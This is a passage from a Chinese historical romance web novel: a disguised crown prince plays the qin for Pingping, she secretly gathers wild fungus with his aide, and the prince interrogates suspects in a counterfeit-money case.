他瞥了瞥，用青桐老料斫的，还算古朴，就是漆面欠点，挑琴讲究苍、松、脆、滑四个字。好的琴一眼瞧去，抛光似乌玉，退光似乌木。 他伸指试了个音，不上不下。 但晓得眼下只能找到这等品相的，再要求，蒋望回也是巧妇难为。 柳湛便没流露不满，笑道：“很好，希颜，辛苦你了。” 收下这琴。 他备琴几上，本应该沐浴焚香，但沐浴条件不允，焚香……柳湛余光瞟向角落里的香炉，有是有，但没有验过的香，他不敢燃。 今日什么都将就吧。 柳湛抬起双臂，正准备拨弦，却又重放下来。 萍萍正坐床沿，两只胳膊撑着，正等着听天籁呢，见此动作，疑惑道：“怎么了？” 柳湛也是灵光一闪，突然想问：“你总说这回忆，那回忆，回忆里有我奏琴吗？” 二十九件往事萍萍记得滚瓜烂熟，脱口就回：“没有。” 柳湛笑笑，准备重抬手，她问：“你准备给我弹什么？” “《松入风》，听过吗？” “没有。” 柳湛再笑，指放唇上，做了个不要再说话，专心听的手势。 萍萍噤声。 柳湛起手拨弦，轻拢慢捻，不过几个音，萍萍就觉袅袅琴音似松风谡谡， 她屏住呼吸，凝神静听，渐渐笑意敛去，两眉越锁越紧。 为什么会觉得熟悉？ 她确定自己没听过这首曲子。 等等，只是这六年没听过！ 萍萍脑海中如画卷一般，飞也似展开柳湛奏琴，她凭栏听曲的画面，千枝万叶风飕飕，就是这曲《松入风》！ 她十分激动，却又不忍打断埋首弹琴的柳湛，便一直攥着手举在胸前，话一寸寸升到喉管，压下去，再升，最后等在嗓子眼，待柳湛一弹完，她就站起来快步走近，冲口而出：“官人我想起来了，你以前给我弹过这首《松入风》！” 这是她忆起的第三十件往事。 柳湛脸上的笑消失一霎，她刚刚还说不知道，一弹完就复述他所讲，声称自己想起来了，这未免太过巧合。 柳湛心绪沉沉，面上却不显，重旋起嘴角，笑容和煦：“是吗？想起来就好。” 萍萍激动地给他继续说，但来来回回都是那几句——刚想起来，《松入风》以前给她弹过。 柳湛听了一会，反问：“你还记得别的曲子吗？” 萍萍摇头：“你每次只给我弹这一首。” 柳湛勾了勾嘴角，原打算弹五首曲子，现在却不想再继续下去。 “大官人。”门外耳熟女声响起。 是女医的声音。 他不用她的方子，却每回换药仍让女医来。柳湛自幼所受教诲，行仁止义，纲常人伦，尤其不可淫奔。不说立正妃要三聘六礼，缺一不可，即便品阶最低的御侍，也要礼成之后才能行男女之事。生有定偶而不相乱，偶常相随而不相狎，萍萍还未封赏，不该觑的他不偷觑，不该试的绝不偷试。 何况，依照宫规，皇子十七岁后才安排司寝女使，当年他刚到年纪就赶上皇太后驾崩，孝期满后，又因诸多杂事，一拖再拖。 他自己都没有过，愈发要恪守一些男女之别。 眼下女医叩门，柳湛将机就机：“女郎中来了，今日就弹到这里吧。” 萍萍心思简单，即刻应好。柳湛便开了门，让那女医进来，关门后自行退到远处，背过身去。 女医为萍萍清洗、换药，有些伤口仍须包扎，其实上手时颇痛，萍萍咬牙不说，等到女医忙完，才连声感谢。 “娘子总这么客气。”女医笑着收拾药箱。 离得近，萍萍瞅见箱子多一副眼罩，深嗅有淡淡草药味：“郎中怎么还有眼罩？” “哦，你们那个蒋小官人也受伤了，伤在眼睛，就顺道一路治了。”女医合上药箱，背起，见萍萍错愕，便多解释几句，“之前都是先看他，再来看你，所以你没见过眼罩。今天下雨那条路滑，就先来看你了。” 柳湛在远处听着，心平如镜，这类事萍萍知不知道，无甚差别。 下一霎，柳湛听见萍萍说要送女医，即刻沉脸转身：她要送到哪去？ 对上目光，萍萍同他做了个鬼脸：官人且请放心，只送到门口，绝不出去。 她帮女医开门，女医撑伞，萍萍叮嘱道：“郎中提防脚下，别踩那滑溜溜的石子路。” “说的是。”柳湛带笑附和。 女医走下台阶，萍萍看那院子里积了一洼水，不由又喊：“小心脚下有水！” 女医经她提醒避开，萍萍还在看，柳湛伸手要关门：“好了好了，脖子再伸一点干脆跌进雨里去。” 萍萍吐了吐舌尖，其实她并不是想趁机出门，只是无意发现，这院里好像长了地皮菜，伸脖子看清些，湿漉漉的泥地里除却碎叶断枝，还有不少滑腻铺呈的绿花，是地皮菜没错。 * 又过两日，蒋望回来找柳湛，还在院中说话。 他已经拆了眼罩，看不出来曾经受过伤：“郎君，林公恳请您下山一趟。” “他遇着什么难处了？”柳湛淡淡开口。 蒋望回摆首：“他说，是有一件事只想叫郎君知晓。” 所以没有让蒋望回传话。蒋望回恪守本分，倒也不好奇，还帮林元舆想办法：“实在不行，让林公上来焦山？” “我去吧。”柳湛淡道。近日一直守着萍萍，滞留焦山，案子听的是汇报，于情于理，也该主次归位，下山亲理卷宗，到刑狱走走，看看实际情况。 “我不在时你帮我守着萍萍，绝不可允他们近身害她。”柳湛看向蒋望回，目锐如鹰，“包括音和，都不行。” 蒋望回大惊：“郎君想到哪里去！”急表衷心，“属下以项上人头担保，不会允第三人近萍娘子身。” 柳湛点头，少倾，又关切：“对了，你这眼睛虽然好了，但像午时未时，日头灼热，还是不要出来晒着。” 蒋望回拱手垂头：“多谢郎君关心。” 柳湛便起身回屋，准备同萍萍打个招呼就下山。 萍萍正无聊地在桌边玩手指，口中念叨，柳湛进来了都没察觉。 “天上有个月，地下有个阙。背水的虾蟆跳过阙……” 柳湛觉得好笑，走到她旁边坐下，手搁桌上：“在说什么呢？” “老鼠嫁女儿啊，”她给柳湛演示，小指扭扭，是龟吹箫，拇指动动，是鳖 打鼓，再食指和中指一齐出，是两个钢虾朝前舞。 “然后……”她伸另外一只手，“乌鱼来看灯，鲇鱼来送嫁！一送送到桥顶儿上，一跌仰把叉。” “继续。”柳湛干脆等她说完。 “一路哭到家，告诵姆妈，姆妈要骂。告诵爹爹，爹爹要打。” 萍萍笑容尚挂脸上，柳湛就说：“我要下山两日。” 她眼里立马流露羡慕：“那我什么时候能下山？” 说完了才想起来柳湛告诉她的公案，紧张道：“你是要去抓贼办案吗？一定保护好自己。” “好。”柳湛伸手抓住萍萍的手，方才她摆弄手指时就想这么做了。 “过几日吧。”他心里有数，只要待会林元舆要说的不是什么胡话，一行人就能顺利转去扬州。 柳湛轻握萍萍的手：“等你伤好些，我就带你走，到时候你想赖在这里都不行。” 今日雨依旧停了，天色虽不是湛蓝，但也不见乌云，应该不会再下，可萍萍依旧不放心，拿起柜边靠着的，江南人常用的油纸伞，塞到柳湛手上：“你带把伞去，万一下雨呢。”又叮嘱，“去了千万要小心，保护好自己。” 第32章 第三十二章 挖野菜 * 柳湛抵岸后， 打听到林元舆正在刑狱司坐审。他便往刑狱司去，刚到门口，就遇到袁未罗——他是被恶心出来的。朝律规定拘锁监禁， 最少七日， 至多一月， 胡瑜却把拘锁犯人和无辜证人关到同一间黑狱里，牢房见方不足十尺，家里不愿花银子的， 不给吃喝， 人都饿死了，爬满耗子， 袁未罗看一眼就吐了。 “郎——”狱卒来往进出，袁未罗喊一字就止声。 “林公正在软监审讯。”袁未罗虚弱，有气无力，都怪自己好奇，林公就聪明，从来不去黑狱。 柳湛拾级而上：“引路。” 袁未罗连忙小跑着追上，超过， 在前面领路。遥遥眺见节级、押牢迎面走来， 柳湛启唇：“阿罗， 你我皆是林公随侍， 不必卑谦。” 袁未罗赶紧挺直腰板，假扮谈笑，节级和押牢擦身而过， 皆知袁未罗是宫里来的中贵人，又见柳湛着圆领袍，便以为他是御史台的武职， 因此沿路无人阻拦。 小小一润州刑狱司竟有四百余间监牢，好在软监这类羁押从轻问拟的，在最外面，不一会就走到。 室内布置不错，柳湛到时，林元舆正靠着软榻呷茶，监里闷，有个狱卒专门伺候在林元舆身后扇扇子。 前面两行犯人一下下挨着沙威棒，人瘫软若肉泥。 袁未罗也怕看这个，别首望墙，口中提醒：“林公！” 林元舆这才发现柳湛来了，便想给柳湛让座，刚站起身，柳湛却朝他躬身：“林公，您吩咐的事已经办妥了。” 林元舆眉毛连挑两下，哪敢吩咐太子事情？知道这是柳湛要继续演长随，便板起脸：“嗯，你们都下去，”他指了指柳湛，下令，“你，留下来。” 诸人皆退，一走完，没人偷听了，林元舆就躬身赔笑：“郎君，且随老夫去个别的地方。” 柳湛掀袍坐上软榻：“林公不是有话要同我讲么？” “是、是。”林元舆干笑，是有事要禀，但他绝不会把禀报的地安排在刑狱，十八般刑具，万一柳湛听完动怒，得心应手对他上刑？ “是有话要讲，但郎君得先去个地，见了东西，才好讲。” 柳湛猜到林元舆在惧怕什么，笑道：“有什么东西这里不能看？林公连日审案辛苦，我都知道，林公是在为我分担。从今日起，我会坐镇润州城，日后回见爹爹，也定会为林公美言。” 林元舆被戳中心中酸楚，吸了吸鼻子——他本是官家派来督促太子，这几日太子甩手掌柜，却成了他主事，忙死忙活。 太子晓得他的好就行。 柳湛站起，朝林元舆一拜，压低声道：“昨往今后，林公皆为孤之依仗。” 林元舆闻言心脏狂跳，一没想到自己会被捧到这么高的位置，二来，官家年事已高，的确要为将来早做打算。 林元舆想着想着心思就飘远了，什么少保、太师，甚至混个郡公当当，又想昔年那班上峰，几人能看见他位极人臣？ 像胡忠恕就快死了，看不到了。 林元舆不知不觉向柳湛交待：“臣查得茶盐司从润州收上来的盐利，乃至茶利，折合一百万缗，全是伪。钞。” 想想当时的场面就心悸，任林元舆浸。淫官场多年，仍魂飞胆颤，腿脚发软：“没有一张是真的，全是最大面额的伪造交子，见所未见，闻所未闻！” 柳湛听着默想：正因为对方一张真的都不留，猖狂至此，才会被林元舆发现。 但凡少印一点，以林中丞的资质，极可能就疏漏了。 他晓得林元舆为什么瞻前顾后，不敢漏口风，笑道：“林公放心，此事乃杨廉并茶盐私一干人等犯下，您身为中丞，纠察官邪，肃正纲纪，查得此案，乃是功劳一桩。功者自功，祸者自祸，泾渭分明，不会因为是您查的，便怀疑到您头上。” 林元舆松一口气，金额巨大，功劳也大，他怕被别人污蔑监守自盗——毕竟从前朝廷里不是没发生过这样的事，他也曾因眼红，对别人做过。 “有郎君作保，老夫心里就踏实了。” “后来呢？”柳湛发问。官银都变成了假。钞，那真钱去了哪里？ “什么后来？”林元舆没过脑子就接了话，然后反应过来，才缓缓回神，躬身赔笑：“此事尚未报告官家，郎君也不曾过目，老夫不敢自专，没有继续查。” 柳湛被气笑了，如果他一直不来，岂不是会一直拖下去？ 他日为天子，首先革了林元舆的职！ 笑着笑着柳湛嘴角僵了下，也怪自己，这些天只盼着萍萍快点好起来，为女色迷惑，耽误正事。 况且她也算不得美，仅仅中人之姿。 柳湛颇为羞恼，下令的声音不知不觉变冷，几近于斥：“把茶盐司在押的人都提上来。” * 柳湛前脚刚走，萍萍后脚就偷摸出门。 没办法呀，那地皮菜晒不得太阳，一烤就成黑皮捡不了了，挖地皮菜最好就是雨后第二天，湿漉漉的地润着，最大最好吃。 但她也怕柳湛知晓，跨出门时踮着脚，关门动作极慢，生怕弄出声响，也不敢找人去要篮子，就拿了盛药碗的木盘待会兜地皮菜。 院子里有十来朵，她慢慢抠出来捡光了，再去外面，还没走过吸江楼，凭运气摸索，走了两回死路，第3回 终于走对，出去大门。 浑黄的大江顷刻映入眼帘，江水积雨上涨，汹涌奔腾，连之前登岸的码头都淹去大半。 山上的溪水也涨了，滚滚湍急，她迟疑了会，没去捡溪边的地皮菜，只拣空旷草地里的摘。 溪后竹林里，裴小官人满面笑容整理好衣冠，正准备出去“偶遇”萍萍，却发现她转身折返了，只留给他一个越来越远的背影。 裴小官人脸上阴沉了会，重笑起来，她不来他便去追，一样的，正准备出竹林，忽见蒋望回靠近萍萍，一直走到她脚边。 萍萍看见地皮菜旁边，沾了泥的靴子，不过她的平头鞋子泥更多。萍萍仰头，见是蒋望回，绽放一笑：“蒋小官人，你的眼睛好些了吗？” 蒋望回以为她不知道，先愣，而后才低头拱手：“多谢娘子关心，已经好了。” “那你怎么在这里？”萍萍又问，心里数分忐忑，他不会把今天她偷跑出来的事告诉阿湛吧？ 蒋望回缓缓抬起脑袋：“我来吸江楼找你家官人，却没有遇到——” 蒋望回还未说完，萍萍就腾地站起来，打断他：“他刚下山不久，你这会去看还能不能追上？” 蒋望回摇头：“也不是什么大事，我下会再找他。” 萍萍闻言点头，重蹲下去，靴子却仍定着，蒋望回好像没有离开的意思。 萍萍重扬起脑袋。 蒋望回看着她说：“总不能白跑一趟，我想在这焦山转转，赏景踏春，娘子可有推荐的？” “我也不熟。”萍萍说实话。 蒋望回抿唇，默默深吸了一大口气，才能继续诓下去：“娘子这是在捡什么？” “地皮菜，”萍萍睹见蒋望回脸上表情，“你没吃过吗？” 蒋望回在萍萍身边蹲下，看她摘一些像泡大木耳的东西：“这个可以吃？” “可以呀，下过春雨就长这东西。” “那这也是春。”蒋望回语气僵硬接话。 萍萍先把刚 摘的地皮菜放进盘子里，然后转头来，直直盯着蒋望回的脸：“你是不是想留下来捡地皮菜？” 蒋望回瞬间整张脸红到发紫，连脖子都红了。 “看着挺有意思的”这个是真话，蒋望回别过头去，“不知道娘子允不允许？若觉不便打扰，蒋某现在就走。” “你肯答应我一个条件，我就允了。” “什么条件？” “官人不让我出门，”轮到萍萍脸红了，小声嘀咕，“今天我出来捡地皮菜的事，你永远不要告诉他。” 草地上有两只灰翅蝴蝶来来回回的飞，蒋望回缓缓应声：“好。” “那我教你！”萍萍此时心里的大石头才落地。 蒋望回也偷偷松口气。他遵柳湛命令，暗中守护萍萍，本来不打算现身，但这周围气息不对劲，恐怕藏着人。 倘若离萍萍太远，真有个三长两短，来不及救应，蒋望回就硬着头皮粘上来。 他真的不擅长搭讪，现在手心全是汗。 “哦，对了，”萍萍突然又问，“摘这个一定会脏手，你介意不？” 她举两手给蒋望回展示，全是沉积的雨水和泥巴。 蒋望回摇头。 萍萍这才教他，只指前面鹅卵石压着的绿木耳：“你看这种玲珑剔透的，就是刚长出来的，很新鲜。唉，唉，那个，那个好，肥大！” 她看中更前面那朵，伸臂去够，蒋望回手臂远比她长，一伸就摘下来，轻轻放到盘中。 与此同时，山上某处山居，裴小官人的长随正把屋里的书搬到院子里晒。 自打那天上了山，他家郎君就再没下去过，租了这处山居。只这屋子常年没人住，柱生白蚁，书也好些发霉，平时屋里总有股味，却又因为连雨没办法晒。 今日终于放晴，抓紧！ 长随将书一股脑地在石桌上摊开，已经霉了的努力拯救，没霉的防微杜渐。这山居应该是位习武之人修造，院子里还立了根木人桩，长随寻思，待会要不从木人桩牵根绳子，另一头拴上石桌，把被褥也晒一晒？ “咳、咳！”书霉味太重，呛到长随，“咳、郎、郎君回来了？” 长随瞧见裴小官人进门，连忙迎上，他家这位郎君日日欲见萍娘子，萍娘子官人却看得紧，不得着。 今日也一样无功而返？ 长随刚想问，裴小官人一个飞刀钉上木人桩，直接将桩头削去一截。 长随咂舌，这是把木桩当谁了？ “郎君可要饮茶？今日天好，我把东西都拿出来晒一晒。”长随想到什么说什么，只求能换个话题。 裴小官人只言不发，进屋出屋，手里多了一把宝剑，出鞘就舞起来。 长随默默后退，恐波及无辜。 裴小官人练了大半个时辰，浑身是汗，索性脱去鹤氅并里衣，赤膊上身，提着剑往屋里走。 “备水。”他要沐浴。 “哦，好。”长随捡起郎君的衣裳抱着，跟在后面，冷不丁瞅见裴小官人臂上一条比蜈蚣还长的伤，刚掉痂，新肉嫩红，“郎君这里怎么受伤了？” 裴小官人抬起胳膊看了看，兀地噙笑：那柳湛下狠手，剜骨的劲，却没想这么快就长好了，自己还真是皮粗肉糙——裴小官人的笑戛然而止。 长随睹着裴小官人苍白阴沉的半张脸，情不自禁打了个哆嗦。 裴小官人却重新笑起来，看向长随：“你说的对，我不该尝试做好人。” * 萍萍和蒋望回这边，还在挖地皮菜。 两人手上、鞋袜、裤腿都有够脏的。 “我本来还担心你怕脏。”萍萍边挖边道，不敢直说洁癖，“因为你看起来就像怕脏的人。” “你这是对我有误会。”许是挖得久了熟了，蒋望回的话渐渐变多，不似之前三言两语，一开口就低头红脸，“我以前在边关参过两年军，风餐露宿，比这脏多了。” “你在哪里的边关？”萍萍旋即追问。 蒋望合着唇。 萍萍不以为意，主动告诉蒋望回：“我在西宁待过。” 西宁边关。 蒋望回慢道：“不是西宁。” 草地间的地皮菜差不多挖完，木盘已经铺满一层，萍萍像抖簸箕那样抖了抖盘子，蒋望回瞟着问她：“这些够吗？” “不够。这个一炒就缩水，估计炒不到半盘。” 蒋望回早注意到溪水沿线地皮菜都没挖，便从萍萍手中接过木盘，起身道：“我去把溪边的都挖了，你就别去了，那里鹅卵石多，脚下容易打滑。” “那你去也容易滑倒啊！” 蒋望回停步，扭头看向萍萍：“我不一样，我是习武之人。” 他继续朝前走，少倾，萍萍悄悄跟上。蒋望回在溪边挖野菜，她就在斜后方草地上蹲着等，蒋望回见状索性将木盘放到萍萍身边，还由她看管，他手长，就这样地皮菜也能顺手放进盘子里。 “你现在在吃治伤的药吧？”蒋望回突然问。 “是啊。” 那之前的药应该停了，蒋望回便劝诫：“之前那药，女医说你体虚，得吃一年，伤好了还得接着吃，娘子最好不要倦怠。” “好。”萍萍嘴上应答，眼睛却被前方蝴蝶吸引，一样的灰翅，不知道是不是之前那两只又飞回来。 蝴蝶绕飞溪上，蒋望回仍低头挖野菜，说到萍娘子的伤，终究是替音和受的。 半晌，他艰涩开口：“诓你捎带那包金子，是我不厚道。对不住你，从今往后欠你一份人情，但听差遣。” 他这样讲，萍萍便以为真如柳湛所言，蒋望回主谋，柳湛事先不知情。她嘴角撇下来，酒窝也消失了，看得蒋望回揪心紧张。 萍萍抬头问他：“当时对方是不是要求女的去交易？” “你知道了？”蒋望回脱口而出。 “我猜的。”萍萍勾起嘴角，重现酒窝：“如果不是指定女子，你自己就可以去交易呀。”她垂下眼皮，这一带地皮菜已经全挖完了，只剩下滚着水珠的青草和光滑的鹅卵石：“其实我愿意去交易的，即便有危险。” 蒋望回正想问为什么，萍萍耷拉着脑袋继续道，“因为这能帮官人破案。” “如果你事先来找我，说清楚，我也会毫不犹豫接过包袱，带上焦山。”萍萍挑起眼皮，一眨不眨看向蒋望回，“可是你连哄带骗，所以我现在还有点恨你，我这人最恨欺瞒。” 第33章 第三十三章 此时此刻他最思念她 “而且这次你不仅骗我， 还骗了官人，”萍萍想起柳湛为了早一点办妥托付之事，分开坐船， 他这么信任蒋望回这个朋友。萍萍愈发忿忿不平， “他真以为你要捎带东西。” 蒋望回哑然。 倘若蒋望回是她一个人的朋友， 多半不会再来往，但官人还要继续和蒋望回共事，她只能以恕已之心恕人， 这也是她答应蒋望回一起挖野菜的原因。萍萍叹气：“以后不要再骗我们了， 不然朋友都没得做。” 蒋望回已经停了手上动作，但仍蹲着， 良久，道：“娘子是极好的人。”他顿了顿，续道，“好到世上再也找不出第二个，蒋某卑劣，自愧弗如。” 萍萍起初听到“极好”，就已有几分不好意思， 等到后面绝世无二， 她唰地红了耳根， 连忙制止：“你快别这样夸， 捧杀我啊……” 蒋望回突然扭头冲萍萍辨道：“我永远不会杀你！” 萍萍和蒋望回皆楞住。 蒋望回急忙解释：“我没有别的意思，就是想说既然答应娘子但听差遣，那便是赴汤蹈火， 万死不辞，护你周全 还来不及，怎么会去害你。” 他两手仿佛新长出来， 胡乱摆动否认。 萍萍心里暗想，这人虽然当过骗子，但其实还是个老实人。 她无奈笑道：“好啦，你别激动，我明白你的意思。” 蒋望回这才垂下两手，望着萍萍松口气。 “还有……”萍萍轻言细语道，“你也不要动不动说死呀！” 蒋望回表情定住，怔怔望着她的酒窝。 “再挖些吧。”她指远一点的同侧溪边，“把那边挖了差不多了。” 蒋望回起身：“溪对岸还有。” 萍萍摇头：“别过去了，太湍急。” 蒋望回竟真听她的话，只挖光一侧溪边的地皮菜。他帮萍萍端着木盘，一道往吸江楼回去，萍萍脚向前迈，偏过来脑袋问他：“你说欠一个人情，我可以随便差遣你，对吧？” 蒋望回看她脸上流露的狡黠，不由也上扬嘴角，这还是他第1回 笑：“这么快就要用吗？” 萍萍点头：“我要——你帮我把这些地皮菜洗了！” “就这？”蒋望回愕然，他许的可是赴汤蹈火。 “洗洗你就知道了，很难的。”在她看来，地皮菜算是最难处理的野菜，这个人情值得，“而且我还没说完呢。” 蒋望回即刻拱手躬身：“抱歉，我失礼了。” 萍萍愣了下，为缓解尴尬，点了点下巴作为回礼：“洗完以后，再帮我晾晒，等它干得像黑皮木耳，就是晒透了。然后你再拿来送给官人，就说是从路边的老农那买的，看起来不错。” 萍萍得意，她的计划完美，这样官人绝对不会怀疑她今天出了门。 蒋望回喉头滑动：“你准备等他回来才吃？” 原以为今日就要拿回去炒，两人分食。 当然。 萍萍微扬下巴，一脸憧憬，官人两日后才能回来，要想存住地皮菜就得晒干。等官人回来，地皮菜丢水里一泡就发，炒个鸡蛋配点蒜苗，或者打个豆腐汤，乖乖隆地咚！ 萍萍笑看向蒋望回，今天挖的地皮菜挺多，到时候官人要留蒋望回一起吃，也可以呀。 …… 光阴似箭，转眼两日后。 晌午烈日当空，润州刑狱司里却一如既往阴森。 “哗——” 一桶冰水扑头照面，浇醒俩行首，她俩手脚不自觉挣扎，束缚四肢的铁链发出一串响声。 柳湛分腿坐于榻上，淡淡启唇：“继续。” 狱卒铁鞭淬一道火，继续往行首身上抽。 啪——啪—— 每一鞭都在监内回响。 上刑和烧炉的狱卒皆默然无声，偶用余光偷觑柳湛——新来的这位主审，据说也是御史台出来的，林公手下，手段却比林公狠上许多。这里的刑具没一样是他不会的，对待二位细皮嫩肉的花魁娘子也不手软，毫无怜香惜玉之心。 说他是活阎罗，不为过吧？ 柳湛知他二人在窥，只作未见。俩行首很快便再晕过去，泼醒，再抽。 柳湛始终安静觑着，面上古井无波。 行首当中有一位熬不住了：“奴招，奴招！” 柳湛斜眺，眉尾微扬，眸子冷冽：“你招什么？” 这两日他亲自坐镇，捋了遍润州的茶盐利，发现不仅仅只干利作假。去年润州遭涝，淹去送往江南的官盐万余斤，朝廷体恤，拨下十万灾银，而这银子也多半被李代桃僵，调换成假。钱！ “奴招……杨、杨大官人以假换真，然后，”行首气若游丝，“然后他把真的官银溶掉了。这样就再没有印戳。” 柳湛勾唇，溶毁官银，掏空万两：“融掉的银子去了哪里？” “奴……不知。” 柳湛抬手，示意狱卒再上刑，右臂方才举到一半，行首就赶紧改口：“我只知道有一些大官人拿给我们打头面了。” 柳湛手仍往上抬，面色沉静：“上撒子角。” 俩狱卒旋即拿来四只撒子角，每只圆木五根，各长七寸，套在行首手上，弹弓绳一拉收紧，十指连心，比断腰剜骨还痛。 俩行首鬼哭神嚎，惨不忍睹。 柳湛寻思查官银还得个亲近得力的助手，蒋望回不必再守萍萍，此案重要。 他决意上山，起身吩咐：“几时招出去处，撒子角几时再撤。” 说罢离监，直走到刑狱司门口，仍能听见俩行首凄厉哀嚎。 * 风暖日丽，碧空如洗。 这么好的天气，萍萍想出门又不敢出门。 想，是因为屋里实在太无聊，连挂画上的两行题字都已经反复读了百遍，倒背如流。 不敢，是因为官人说好了今日回来，怕错过了。 萍萍最终选择等在屋内。 她一直守在窗边，因此柳湛将一现身院内，只隔着纱绰约的影子，萍萍就辨认出来。她推开纱窗，不住挥手：“官人！” 柳湛眼睛一亮，继而上下打量起来：她头上红绡股钗，仍盘常盘的团髻，颈下一身却是从来没穿过的，白罗襦，芙蓉裙，栀子黄的抹胸露一小角。院子里的海棠去时还无，归来一树尽绽，长梗重瓣，艳丽招摇，在他视线周围一圈晃动，正好给萍萍作配。 时至今日，方知花面不如人面好。 又觉萍萍倚着绿纱窗摇手的样子踏实温馨，竟生出风尘仆仆归家人的恍惚。 柳湛情不自禁漾起嘴角，加快步伐。 “官人你回来啦！”他往纱窗那边走，她却绕到门口迎接，窗中倩影倏地消失，柳湛愣了一下，而后笑吟吟改道门边。 两两相对时，他竟数分情怯，也就两日没见，心却发颤，悠悠地想：这两日她过得好吗？ 此时此刻格外思念她。 柳湛抬手扶了下门框。 上山途中，他见江面已经降回落雨前的高度，码头上许多淤泥——看来雨积上涨只是一时，人犹如此，他对萍萍也只不过偶尔冲动。 柳湛进门既环视。屋子是套间，兼带厨房恭所，萍萍刚住进来那几天，他就陆续打点好一切——她当时只一套血衣，所以柜里备了四、五套新衣裳。萍萍昏迷的第一天，就差女医换了，后来她又洗晒过一套，现在身上穿的是第三套。 柳湛再次上下打量，确认她穿第三套最好看：“这衣裳是你自己选的？” 萍萍心道不是她自己选的能有谁？这几天除了蒋望回，连第三个人都没见过：“顺手换了最上面的。” 柳湛笑笑，走进厨房瞥见炭灰和药渣，终于彻底放心，回桌边坐下：“之前答应你，放晴陪你出去走——” 咚，咚，女医叩门。 柳湛改口起身：“先换药。” 他请女医进来，自己站到窗边，不仅关拢绿纱窗，还用身子挡住窗纱，屋内顷刻暗下半边。 萍萍完全没察觉柳湛的小动作，只回答他：“出去走好啊，我终于能出去了。” 末了几个字心虚，不停眨眼，可惜柳湛眺望窗外，亦未察觉 女医让萍萍侧身，好上左半边药，萍萍便将左边身子对向外侧，又问柳湛：“话说我什么时候能下山啊？一直揪心铺子，才开张就关这么久，得赶紧重开起来。” 重开？ 柳湛是不打算重开的。他注视院中，阳光正好花也正好，想等案子办完就收了萍萍，这样带回东宫才不会落人口舌。 他心里有数这是最后一次换药，却转过身来，明知故问：“郎中，药还要换几次？” “今日最后一回，以后就靠娘子自己慢慢调养了。” 萍萍脸上的惊喜毫不掩饰，柳湛瞥见，不动声色。他先冲女医点了点头，方才笑眺萍萍：“这下好，待会换完药就可以回去了。” 萍萍咧嘴笑，一下巴不得女医换药动作快些，再快些。 换完药，萍萍和柳湛一起送至门口，望着女医越来越小的背影，萍萍挽上柳湛胳膊：“我身上这几件能明天还么？怕今天上下山来不及。” 还什么？ 柳湛失笑：“你身上穿的我已经买下来了。” 萍萍扭头指柜子：“那柜子里的也……” 柳湛点头，一切打点他都付过钱。 萍萍立马往柜边走：“你之前怎么不说啊？得都打包回去。” 这些衫裙都比她平时穿的贵。 柳湛依旧失笑，这些都不是什么好料子，以后跟了他，随便摸错一件都比这体面。但他看萍萍打包，也没阻拦，随她高兴吧。 等萍萍打好包袱，柳湛接过背在自己肩头，就与萍萍离开。 二人在院中遇见蒋 望回，柳湛低头瞥去，希颜手里提了一篮什么？黑乎乎……本地木耳？ 瞟见萍萍在挤眉弄眼，试图对上眼神暗号，蒋望回侧首避开：“这是我上山顺路从老农那买的，地皮菜，拿来给你们下饭。” 柳湛蹙了下眉，他不会轻易尝试外面食物，希颜是知道的，也从没做过像今天这样的事情。 蒋望回坦荡接下柳湛投来的探究目光，不落音道：“那老农吆喝许久，我看他好像就指这个活，于心不忍。再则，这卖相看着也还新鲜。” 萍萍拧眉，不明白蒋望回为何要多编这么多话？ 不是就说老农顺路就够了吗？ 她低头手伸向篮中，拿起一朵中晒干的地皮菜：“这个地皮菜的确很好吃，泡发以后炒鸡蛋，炒蒜苗，或者炖豆腐汤，都新鲜。” 柳湛这才放心，同蒋望回笑叹：“你自己留着吃吧，我和萍萍要下山了。” 蒋望回分唇。 萍萍则趁柳湛没看她，飞快做口型——蒋兄，计划有变，只能你自己吃了，做法我刚说了，还记得吧？ 萍萍十分紧张，头顶突然扑腾响动，她以为是柳湛的动静，吓得耸肩闭嘴。 栖在花架上的黄鹂振翅飞远。 原来是鸟……萍萍稍稍松气，正准备抬手抚胸口，柳湛真转过头来，她做贼心虚，又僵住了。 那黄鹂踩落数朵海棠，刚好两瓣落到萍萍髻上，他抬手温柔挑出、拂去。 蒋望回在不远处安静凝睇二人。 柳湛拂完手没有放下去，而是搭在萍萍肩头，轻拍了拍：“我跟希颜说两句话。” 萍萍点头，自觉走远，心却咚咚狂跳，挖地皮菜的事要露馅了吗？ 因为不安，她频频朝柳蒋方向偷瞟，自然逃不过柳湛眼睛。他不动声色侧首，确保萍萍所处方向眺不见他的嘴型，而后才压低嗓音，叮嘱蒋望回：“去查城中哪些银楼与茶盐司的人有过来往，尽早回报。” “喏。” 蒋望回领命，背道离去，柳湛则快步走向萍萍，温文含笑：“走吧。” 他们刚刚聊什么？不会真是地皮菜吧？ 她看不见也听不着，干着急，话到嗓子眼重压回去，官人特意提醒避开，应该是不想被她知道。她再追问，那就是不知好歹，惹人生厌了。 柳湛余光睹着萍萍欲言又止，轻蹙眉头：难道方才的谈话她听见了？ 没有武功的，是没有这个耳力的。 难不成……她之前都在藏拙？ 两人各怀心思，出吸江楼下山，半晌，萍萍倏地偷笑——这么久了官人都没批评她，说明刚才聊的不是地皮菜！ 柳湛瞥见她笑，却又往深处想，萍萍高兴得去牵柳湛手，柳湛的手却晃了一下，她牵了个空。 须臾，萍萍再牵，柳湛再晃，但这回她眼疾手快，揪住了他的袖角。萍萍就这么揪着袖子下山，柳湛步伐加快她不得不追，好几回差点跌到。 到码头快上船时，柳湛终不忍心，深吸口气，反手回握住萍萍的手，她的五指和掌心瞬间被温暖包裹。 梢公摇橹，驶向江岸烟火人间。 他们先去了三水汤饼，邻户纷纷围拢打探：“怎么不打招呼就关了？” “这些天你小两口去哪了？” “这家店是要关了吗？” “不关不关，绝对不关！”萍萍毫不犹豫否认，“之前我们家里出了点事，过几天铺子就重新开起来。” 说时盘算，新鲜食材需要重新进货，店内复积扬尘，需要扬尘。她心里有了事，就想解决，和邻里聊完便回店里拿扫帚，柳湛伸臂按住扫帚杆：“你做什么？” “打扫啊。” 柳湛垂眸，他马上就要带她去扬州，这店子不会重开，所以也无需打扫。他沉吟片刻，索性直说：“萍萍，如今案子查下来，线索直指扬州。” 她好像明白又不明白，喃喃：“什么意思？” “就是过几日我就要随林公去扬州。你若跟我走，就不可能再重开店。”他的手仍放在杆上，眼睛直视萍萍，“你愿意跟我一起去吗？” 当然愿意啊！ 萍萍心里的声音接口就答，他们是夫妻，当然不离不弃。 但她的唇却没有立即张开，舍不得汤饼店，有点难过，而且开汤饼店不是官人一直以来的梦想么？他为什么这么快就放弃？ 第34章 第三十四章 官人好比天上月 柳湛见她良久不答， 